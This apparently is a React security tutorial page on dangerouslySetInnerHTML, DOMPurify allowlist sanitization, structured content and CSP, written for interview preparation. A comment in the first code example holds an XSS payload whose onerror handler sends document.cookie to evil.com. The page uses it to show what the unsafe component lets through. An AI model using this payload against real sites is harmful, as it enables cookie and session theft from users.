Topics
v6.0.0
On this page · sections

dangerouslySetInnerHTML & Sanitization

dangerouslySetInnerHTML sets element.innerHTML — bypassing React’s default string escaping. Use it only for trusted or sanitized HTML.

ApproachXSS riskWhen to use
JSX text children {bio}Low — auto-escapedDefault for user text
dangerouslySetInnerHTML rawHigh — script/handlers runNever with user input
DOMPurify + __htmlReduced — allowlist strips dangerLegacy CMS HTML blobs
Structured content / markdownLowest — no raw HTML stringGreenfield features

Why dangerouslySetInnerHTML Is Risky

Definition

Default JSX interpolation escapes <, >, & — user input in {userBio} renders as text.

dangerouslySetInnerHTML opts out: the browser HTML parser runs, and inline handlers or scripts may execute.

'use client'; type Props = { bio: string }; // UNSAFE — raw user HTML function UnsafeBio({ bio }: Props) { return <div dangerouslySetInnerHTML={{ __html: bio }} />; } // SAFE — escaped text function SafeBio({ bio }: Props) { return <div>{bio}</div>; } // User bio: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)"> // UnsafeBio → script runs · SafeBio → literal text displayed
JSX text children → React escapes entities → safe text nodes dangerouslySetInnerHTML → Browser HTML parser → script / handlers may run

React does not sanitize the __html string — your responsibility. ref + manual innerHTML carries the same risk.

Interview: React names the API “dangerously” because you opt out of the safe path — it does not sanitize __html.

DOMPurify Sanitization

Definition

Run untrusted HTML through DOMPurify.sanitize before passing to __html. DOMPurify parses in a detached DOM, strips dangerous tags and attributes via allowlist, returns safe HTML string.

'use client'; import DOMPurify from 'dompurify'; const SANITIZE_CONFIG = { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code'], ALLOWED_ATTR: ['href', 'title', 'rel'], ALLOW_DATA_ATTR: false, }; function sanitizeHtml(dirty: string): string { return DOMPurify.sanitize(dirty, SANITIZE_CONFIG); } export function RichText({ html }: { html: string }) { const clean = sanitizeHtml(html); return <div className="prose" dangerouslySetInnerHTML={{ __html: clean }} />; } DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.tagName === 'A' && node.getAttribute('target') === '_blank') { node.setAttribute('rel', 'noopener noreferrer'); } });

Sanitize on render and on save — server-side sanitization is mandatory; client-only is bypassable via direct API POST.

Real-world example

In Next.js Server Components, use isomorphic-dompurify or sanitize in Route Handler before DB write. RSC can render pre-sanitized HTML — never trust client-only sanitize alone.

Interview: Sanitize at API boundary and before render — defense in depth.

Allowlist vs Blocklist

Definition

Allowlist — only permitted tags and attributes survive. Unknown elements stripped. Production standard.

Blocklist — remove known bad patterns (script, onerror) — always incomplete.

ApproachUnknown tagMaintenance
AllowlistStrippedAdd tags explicitly
BlocklistMay renderEndless chase
'use client'; import DOMPurify from 'dompurify'; const COMMENT_CONFIG = { ALLOWED_TAGS: ['p', 'br', 'strong', 'em'], ALLOWED_ATTR: [], }; const ARTICLE_CONFIG = { ALLOWED_TAGS: ['p', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote'], ALLOWED_ATTR: ['href', 'title'], }; export function CommentBody({ html }: { html: string }) { const clean = DOMPurify.sanitize(html, COMMENT_CONFIG); return <p dangerouslySetInnerHTML={{ __html: clean }} />; }

Additional rules:

  • URL schemes — allow http, https, mailto; block javascript:, data: for links
  • Markdown pipeline — parse markdown → HTML → sanitize HTML; markdown can embed raw HTML blocks
  • Mutation XSS (mXSS) — sanitizer output may mutate on re-parse; keep DOMPurify updated

Interview: Allowlist is the production standard — attackers invent vectors faster than blocklists update.

Safer Alternatives to Raw HTML

Definition

Prefer structured content — Markdown rendered to React components, JSON blocks, or a constrained schema mapped to <p>, <Link>, <Code>.

'use client'; import ReactMarkdown from 'react-markdown'; import rehypeSanitize from 'rehype-sanitize'; type Block = { type: 'paragraph' | 'heading'; text: string; level?: number }; function renderBlocks(blocks: Block[]) { return blocks.map((block, i) => { if (block.type === 'heading') { const Tag = block.level === 2 ? 'h2' : 'h3'; return <Tag key={i}>{block.text}</Tag>; } return <p key={i}>{block.text}</p>; }); } export function MarkdownComment({ source }: { source: string }) { return ( <ReactMarkdown rehypePlugins={[rehypeSanitize]}> {source} </ReactMarkdown> ); }
Markdown / JSON schema → AST or typed blocks → React components (preferred) Raw HTML string → DOMPurify + dangerouslySetInnerHTML (legacy)

Avoid rehype-raw unless chained with strict sanitize immediately after. For i18n, use ICU placeholders mapped to components — not HTML in translation files.

Interview: Greenfield features should use block JSON API, not HTML fields — lower ongoing XSS maintenance.

CSP + Defense in Depth

Definition

Sanitizer failure should not mean full compromise. CSP restricts script execution — script-src 'self' blocks injected inline script even if HTML sanitization missed a vector.

Untrusted HTML → DOMPurify allowlist → DOM render → CSP blocks script exec

Defense layers:

  • Sanitizer — strips dangerous markup (allowlist tags/attrs)
  • CSP — blocks script execution if markup slips through
  • HttpOnly cookies — limits XSS exfiltration if script somehow runs
  • object-src 'none' — blocks Flash/plugin vectors
  • Content-Security-Policy-Report-Only — tune before enforce

Production rich-text checklist:

  • Server-side sanitization at persistence boundary
  • Client-side re-sanitize on render
  • Per-context allowlist configs (comment vs article)
  • Strict CSP without unsafe-inline
  • ESLint rule banning raw dangerouslySetInnerHTML without sanitizer import

Real-world example

Compromised admin account = stored XSS for all users. CMS content is untrusted input — use broader allowlist for CMS than comments, but identical pipeline.

Interview: CSP does not remove phishing HTML or CSS exfil — it complements sanitization, not replaces it.

Senior Interview Summary

Mental model

JSX text → React escapes; safe default __html → Sets innerHTML; bypasses escaping DOMPurify → Parse + allowlist; returns safe HTML Structured content → JSON blocks / markdown-to-components; no __html CSP → Blocks script exec even if sanitizer misses

Practical rules

  • Never pass raw user input to __html
  • Sanitize on save (authoritative) and on render (second layer)
  • Per-surface allowlists — comments tighter than CMS
  • Pin DOMPurify version; fuzz test config when adding tags
  • Ban regex tag stripping — HTML is not regex-safe

What to say in interviews

I define per-surface allowlists, mandate server-side sanitization before DB write, re-sanitize on render, deploy strict CSP with nonce-based scripts, and prefer structured content over HTML strings for new features. Internal editors are still an attack surface — we do not skip sanitization based on role.

Common traps

  • React does not sanitize __html
  • Only <script> tags are not the only vector — event handlers, javascript: URLs, SVG
  • Sanitize once on save only — attacker POSTs raw HTML directly to API
  • CMS admins are not trusted — supply chain and insider risk

Last updated on